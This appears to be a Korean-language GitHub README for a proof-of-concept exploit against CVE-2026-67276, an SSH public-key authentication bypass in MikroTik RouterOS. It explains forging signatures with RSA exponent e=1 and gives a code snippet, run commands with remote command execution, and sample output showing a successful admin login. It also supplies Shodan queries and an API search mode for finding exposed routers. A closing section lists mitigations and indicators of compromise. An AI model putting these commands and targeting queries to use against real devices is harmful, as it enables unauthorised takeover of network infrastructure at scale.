
CVE-2026-67276 MikroTik RouterOS SSH 인증 우회 익스플로잇
MikroTik RouterOS SSH 공개 키 인증 우회 - 개인 키 불필요
CVE-2026-67276(MikroTrick)에 대한 개념 증명 익스플로잇으로, MikroTik RouterOS SSH 구현의 치명적인 인증 우회 취약점으로 공격자가 개인 키를 소유하지 않고도 모든 사용자로 인증할 수 있게 해줍니다.
CVE-2026-67276은 CERT PL이 "MikroTrick" 이라고 명명한 더 큰 공격 체인의 일부로, 실제 환경에서 활발히 악용되는 것이 관찰되었습니다:
RouterOS SSH 인증에는 공개 키 검증 방식에 치명적인 결함이 있습니다:
{ssh-rsa, e=1, n=피해자_모듈러스}를 제시하면 검증이 사소해집니다표준 RSA 검증: sig^65537 mod n == 기대값 (개인 키 필요)
악용된 검증: sig^1 mod n == sig (개인 키 불필요!)
지수 e=1을 사용하면 서명 검증은 다음과 같이 됩니다:
sig^1 mod n == sig
즉, "서명"은 단순히 EMSA-PKCS1-v1_5로 인코딩된 인증 데이터 자체입니다 - 피해자의 공개 모듈러스를 아는 사람이라면 누구나 구성할 수 있습니다.
n (.pub 파일, 이전 연결 등에서 획득)| 브랜치 | 취약 범위 | 패치 버전 |
|---|---|---|
| 6.x | 6.0 - 6.49.20 | 6.49.21+ |
| 7.x stable |
# 저장소 복제
git clone https://github.com/BlackHatExploitation/exploit-mikrotik-2026.git
cd exploit-mikrotik-2026
# 의존성 설치
pip install paramiko cryptography
# 기본 익스플로잇 - 키 자동 생성, 버전 감지
python3 full_exploit.py --host 192.168.88.1 --username admin
# 인증 후 명령 실행
python3 full_exploit.py --host 192.168.88.1 --username admin --exec '/system resource print'
# 사용자 지정 포트
python3 full_exploit.py --host 192.168.88.1 --port 2222 --username admin
# 피해자의 공개 키 파일이 있는 경우
python3 full_exploit.py --host 192.168.88.1 --username admin --pubkey victim.pub
# 또는 모듈러스를 직접 제공
python3 full_exploit.py --host 192.168.88.1 --username admin --modulus-hex "00:ab:cd:..."
익스플로잇은 RouterOS 버전을 자동으로 감지하고 취약점 상태를 확인합니다:
# MikroTik이 아니거나 알 수 없는 버전에서도 강제 실행
python3 full_exploit.py --host 192.168.88.1 --username admin --skip-version-check
--host 대상 RouterOS IP/호스트명 (필수)
--port SSH 포트 (기본값: 22)
--username 대상 RouterOS 사용자 이름 (필수)
--pubkey RSA 공개 키 파일 (제공되지 않으면 자동 생성)
--modulus-hex RSA 모듈러스 16진수 (--pubkey의 대안)
--algos 서명 알고리즘 (기본값: ssh-rsa,rsa-sha2-256)
--exec 인증 후 실행할 명령
--exp-enc 지수 인코딩: canonical (1바이트) 또는 aligned (3바이트)
--timeout 연결 시간 초과 (기본값: 15.0초)
--skip-version-check RouterOS 버전 검증 건너뛰기
--shodan-dorks Shodan 검색 쿼리 출력
--shodan-search 대상 검색을 위한 Shodan API 검색
--shodan-key Shodan API 키
--shodan-query 사용자 지정 Shodan 쿼리
--shodan-limit Shodan 결과 제한 (기본값: 100)
python3 full_exploit.py --shodan-dorks
# 기본 검색
python3 full_exploit.py --shodan-search --shodan-key YOUR_API_KEY
# 사용자 지정 쿼리
python3 full_exploit.py --shodan-search --shodan-key YOUR_KEY --shodan-query 'MikroTik port:22 country:US'
string "ssh-rsa"
mpint e (공개 지수) <- 공격자가 e=1 제공
mpint n (모듈러스) <- 피해자의 실제 모듈러스
# "서명"은 단순히 EMSA-PKCS1-v1_5로 인코딩된 인증 데이터입니다
def forged_signature(data, sig_alg, n):
k = (n.bit_length() + 7) // 8
block = emsa_pkcs1_v15(data, sig_alg, k)
return block # e=1일 때 이것이 유효한 서명입니다
rsa-sha2-256/512 알고리즘에서도 ssh-rsa로 유지됩니다[*] CVE-2026-67276 MikroTrick 익스플로잇
[*] 대상: 192.168.88.1:22
[*] RouterOS 버전 감지 중...
[*] SSH 배너: SSH-2.0-ROSSSH-7.23.3
[*] RouterOS 버전: 7.23.3
[+] 취약한 버전 - CVE-2026-67276 적용됨
[*] 2048비트 RSA 키 쌍 생성 중...
[+] 개인 키 저장됨: /path/to/exploit_key
[+] 공개 키 저장됨: /path/to/exploit_key.pub
[*] 모듈러스: 2048비트 | 위조된 e=1
[*] 지수 인코딩: canonical (01)
[*] rsa-sha2-256 시도 중 ...
[+] 'admin'으로 rsa-sha2-256을 통해 인증됨
[+] CVE-2026-67276 확인됨 - 대상이 취약함
--- 명령 출력 ---
uptime: 14d23h45m12s
version: 7.23.3 (stable)
build-time: Sep/01/2026 12:00:00
# 현재 버전 확인
/system resource print
# 패치 버전으로 업그레이드
/system package update download
/system reboot
최소 안전 버전:
/ip service disable ssh
# IP 주소로 제한
/ip service set ssh address=192.168.88.0/24
# 방화벽 규칙
/ip firewall filter add chain=input dst-port=22 protocol=tcp \
src-address=!192.168.88.0/24 action=drop
# 의심스러운 사용자 확인
/user print
# "ops" 사용자 확인 (알려진 공격자 지표)
/user print where name=ops
# 장치 플래그 상태 확인
/system/device-mode/print
# 로그 확인
/log print where topics~"ssh"
알려진 IOCs:
login failure for user -2 via sshops82.192.72.4, 103.102.31.18⚠️ 이 도구는 공인된 보안 테스트 및 교육 목적으로만 제공됩니다.
MIT 라이선스 - 자세한 내용은 LICENSE를 참조하십시오.
보안 연구 PoC - CVE-2026-67276 랩 구현
유용하다면 이 저장소에 Star를 눌러주세요!
| 세부 항목 | 정보 |
|---|
| CVE ID | CVE-2026-67276 |
| 심각도 | 치명적 (CVSS 9.8) |
| CWE | CWE-347 (암호화 서명의 부적절한 검증) |
| 공격 벡터 | 네트워크 |
| 인증 | 불필요 |
| 복잡도 | 낮음 |
| 영향 | 장치 전체 장악 |
| CVE | 유형 | 설명 |
|---|
| CVE-2026-67276 | 인증 우회 | 지수 위조를 통한 SSH 공개 키 인증 우회 |
| CVE-2026-86060 | 권한 상승 | 사용자 이름을 통한 인자 주입 |
| CVE-2026-67279 | 인증 우회 | userauth 완료 없이 SSH 연결 |
| CVE-2026-67277 | 정보 노출 | bandwidth-test를 통한 커널 메모리 누수 |
| CVE-2026-67278 | 서명 우회 | X.509 잘못된 서명 수용 |
| CVE-2026-67281 | 파일 읽기 | jsproxy를 통한 WebFig 루트 파일 읽기 |
| 7.0 - 7.23.3 |
| 7.23.4+ |
| 7.x testing | 7.24.0 - 7.24.1 | 7.24.2+ |
| 대상 | 쿼리 |
|---|
| 모든 MikroTik | MikroTik |
| MikroTik SSH | MikroTik port:22 |
| Winbox 노출 | port:8291 |
| WebFig 패널 | http.title:RouterOS |
| RouterOS 6.49.x | MikroTik "6.49" |
| RouterOS 7.x | MikroTik "RouterOS v7" |
| 국가별 | MikroTik country:US |
| 취약 버전 힌트 | MikroTik ("6.49" OR "7.23" OR "7.24.0") |